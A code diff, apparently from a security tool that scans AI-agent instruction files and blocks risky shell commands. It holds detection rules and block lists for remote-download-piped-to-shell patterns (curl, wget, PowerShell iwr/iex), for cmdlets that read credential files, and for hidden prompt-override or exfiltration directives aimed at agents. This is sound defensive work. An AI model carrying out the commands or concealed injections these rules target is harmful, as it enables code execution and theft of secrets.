|
-
)
|
|
60200
|
-
);
|
|
60201
|
-
else if (BIDI_EMBED_ISOLATE.test(content))
|
|
60202
|
-
findings.push(
|
|
60203
|
-
mk(
|
|
60204
|
-
"CI-6.bidi-formatting",
|
|
60205
|
-
"advisory",
|
|
60206
|
-
"Bidirectional formatting characters in an agent instruction file",
|
|
60207
|
-
[
|
|
60208
|
-
"contains bidi embed/isolate characters (U+202A\u2013202C / U+2066\u20132069) \u2014 legitimate in right-to-left text, but confirm they are not being used to hide or reorder instructions"
|
|
60209
|
-
],
|
|
60210
|
-
"Confirm the bidi marks are legitimate RTL formatting; remove otherwise.",
|
|
60211
|
-
path79
|
|
60212
|
-
)
|
|
60213
|
-
);
|
|
60214
|
-
const zw = suspiciousZeroWidth(content);
|
|
60215
|
-
if (zw > 0) {
|
|
60216
|
-
const revealed = OVERRIDE_RE.test(stripZeroWidth(content)) && !OVERRIDE_RE.test(content);
|
|
60217
|
-
findings.push(
|
|
60218
|
-
mk(
|
|
60219
|
-
"CI-6.zero-width",
|
|
60220
|
-
revealed ? "critical" : "medium",
|
|
60221
|
-
"Zero-width characters splitting text in an agent instruction file",
|
|
60222
|
-
[
|
|
60223
|
-
revealed ? "a zero-width character conceals a prompt-override directive that only appears once the hidden characters are stripped" : "a zero-width character splits a visible Latin word \u2014 a concealment technique (hides text from human review while the agent reads it as contiguous)"
|
|
60224
|
-
],
|
|
60225
|
-
"Remove the zero-width characters. Instruction files must be plain, reviewable text.",
|
|
60226
|
-
path79
|
|
60227
|
-
)
|
|
60228
|
-
);
|
|
60229
|
-
}
|
|
60230
|
-
const ov = OVERRIDE_RE.exec(content);
|
|
60231
|
-
const ovEnc = !ov ? OVERRIDE_RE.exec(decoded) : null;
|
|
60232
|
-
if (ov || ovEnc) {
|
|
60233
|
-
const m = ov || ovEnc;
|
|
60234
|
-
findings.push(
|
|
60235
|
-
mk(
|
|
60236
|
-
"CI-6.prompt-override",
|
|
60237
|
-
ovEnc ? "critical" : "high",
|
|
60238
|
-
"Prompt-override directive in an agent instruction file",
|
|
60239
|
-
[
|
|
60240
|
-
`contains a prompt-override / role-impersonation directive (\`${m[0].slice(0, 60).trim()}\`)${ovEnc ? " \u2014 concealed in a base64 blob" : ""}`
|
|
60241
|
-
],
|
|
60242
|
-
"Remove the override text. An instruction file should not tell the agent to ignore its own rules.",
|
|
60243
|
-
path79
|
|
60244
|
-
)
|
|
60245
|
-
);
|
|
60246
|
-
}
|
|
60247
|
-
const fo = FETCH_OBEY_RE.exec(content);
|
|
60248
|
-
if (fo && !inHumanSection(content, fo.index) && !isNegated(content, fo.index)) {
|
|
60249
|
-
findings.push(
|
|
60250
|
-
mk(
|
|
60251
|
-
"CI-6.fetch-and-obey",
|
|
60252
|
-
"medium",
|
|
60253
|
-
"Instruction directs the agent to fetch and run remote code",
|
|
60254
|
-
[`\`${fo[0].slice(0, 70).trim()}\` \u2014 fetch-and-obey, outside an install/setup section`],
|
|
60255
|
-
"Do not instruct the agent to pipe remote content into a shell; pin and vendor scripts instead.",
|
|
60256
|
-
path79
|
|
60257
|
-
)
|
|
60258
|
-
);
|
|
60259
|
-
}
|
|
60260
|
-
const sp = SECRET_PATH_RE.exec(content);
|
|
60261
|
-
if (sp && !isNegated(content, sp.index)) {
|
|
60262
|
-
findings.push(
|
|
60263
|
-
mk(
|
|
60264
|
-
"CI-6.secret-path",
|
|
60265
|
-
"medium",
|
|
60266
|
-
"Instruction points the agent at credential material",
|
|
60267
|
-
[`references \`${sp[0].slice(0, 50).trim()}\` \u2014 directs the agent toward secrets`],
|
|
60268
|
-
"Do not reference credential files or paths in agent instructions.",
|
|
60269
|
-
path79
|
|
60270
|
-
)
|
|
60271
|
-
);
|
|
60272
|
-
}
|
|
60273
|
-
const ex = EXFIL_RE.exec(content);
|
|
60274
|
-
if (ex && !inHumanSection(content, ex.index) && !isNegated(content, ex.index)) {
|
|
60275
|
-
findings.push(
|
|
60276
|
-
mk(
|
|
60277
|
-
"CI-6.exfil-directive",
|
|
60278
|
-
"medium",
|
|
60279
|
-
"Instruction directs the agent to send data to an external endpoint",
|
|
60280
|
-
[`\`${ex[0].slice(0, 70).trim()}\` \u2014 possible exfiltration directive`],
|
|
60281
|
-
"Remove external post/upload directives from agent instructions.",
|
|
60282
|
-
path79
|
|
60283
|
-
)
|
|
60284
|
-
);
|
|
60285
|
-
}
|
|
60286
|
-
return findings;
|
|
60287
|
-
}
|
|
60288
|
-
|
|
60289
60381
|
// src/ci-check/diff.ts
|
|
60290
60382
|
import { createHash as createHash4 } from "crypto";
|
|
60291
60383
|
function fingerprintOf(f) {
|
|
@@ -60386,9 +60478,7 @@ function scanTree(tree) {
|
|
|
60386
60478
|
findings.push(...analyzeMcp(file.path, file.content));
|
|
60387
60479
|
} else if (/(^|\/)\.codex\/config\.toml$/.test(file.path)) {
|
|
60388
60480
|
findings.push(...analyzeCodexConfig(file.path, file.content));
|
|
60389
|
-
} else if (
|
|
60390
|
-
file.path
|
|
60391
|
-
)) {
|
|
60481
|
+
} else if (INSTRUCTION_FILE_RE.test(file.path)) {
|
|
60392
60482
|
findings.push(...analyzeInstructionFile(file.path, file.content));
|
|
60393
60483
|
}
|
|
60394
60484
|
} catch (err2) {
|
package/dist/dashboard.mjs
CHANGED
|
@@ -2495,8 +2495,26 @@ var init_dist = __esm({
|
|
|
2495
2495
|
"--subject",
|
|
2496
2496
|
"--summary"
|
|
2497
2497
|
]);
|
|
2498
|
-
SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
2499
|
-
|
|
2498
|
+
SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
2499
|
+
"bash",
|
|
2500
|
+
"sh",
|
|
2501
|
+
"zsh",
|
|
2502
|
+
"fish",
|
|
2503
|
+
"dash",
|
|
2504
|
+
"ksh",
|
|
2505
|
+
"iex",
|
|
2506
|
+
"invoke-expression",
|
|
2507
|
+
"powershell",
|
|
2508
|
+
"pwsh"
|
|
2509
|
+
]);
|
|
2510
|
+
DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
2511
|
+
"curl",
|
|
2512
|
+
"wget",
|
|
2513
|
+
"iwr",
|
|
2514
|
+
"invoke-webrequest",
|
|
2515
|
+
"irm",
|
|
2516
|
+
"invoke-restmethod"
|
|
2517
|
+
]);
|
|
2500
2518
|
NORMALIZE_CACHE_MAX = 5e3;
|
|
2501
2519
|
normalizeCache = /* @__PURE__ */ new Map();
|
|
2502
2520
|
AST_CACHE_MAX = 5e3;
|
|
@@ -2543,7 +2561,21 @@ var init_dist = __esm({
|
|
|
2543
2561
|
"uniq",
|
|
2544
2562
|
"tac",
|
|
2545
2563
|
"nl",
|
|
2546
|
-
"dd"
|
|
2564
|
+
"dd",
|
|
2565
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
2566
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
2567
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
2568
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
2569
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
2570
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
2571
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
2572
|
+
"get-content",
|
|
2573
|
+
"gc",
|
|
2574
|
+
"select-string",
|
|
2575
|
+
"sls",
|
|
2576
|
+
"format-hex",
|
|
2577
|
+
"import-csv",
|
|
2578
|
+
"import-clixml"
|
|
2547
2579
|
]);
|
|
2548
2580
|
GREP_SHAPE = {
|
|
2549
2581
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -3237,7 +3269,7 @@ var init_dist = __esm({
|
|
|
3237
3269
|
{
|
|
3238
3270
|
field: "command",
|
|
3239
3271
|
op: "matches",
|
|
3240
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
3272
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
3241
3273
|
flags: "i"
|
|
3242
3274
|
}
|
|
3243
3275
|
],
|
|
@@ -5599,7 +5631,11 @@ var init_config = __esm({
|
|
|
5599
5631
|
op: "matches",
|
|
5600
5632
|
// Anchor curl/wget as a shell command so node -e scripts testing this
|
|
5601
5633
|
// regex pattern don't self-match as a false positive.
|
|
5602
|
-
|
|
5634
|
+
// Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
|
|
5635
|
+
// SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
|
|
5636
|
+
// either list gains a name this regex does not. The PowerShell sinks
|
|
5637
|
+
// carry \b so `iex` cannot match inside e.g. `iexplore`.
|
|
5638
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
|
|
5603
5639
|
flags: "i"
|
|
5604
5640
|
}
|
|
5605
5641
|
],
|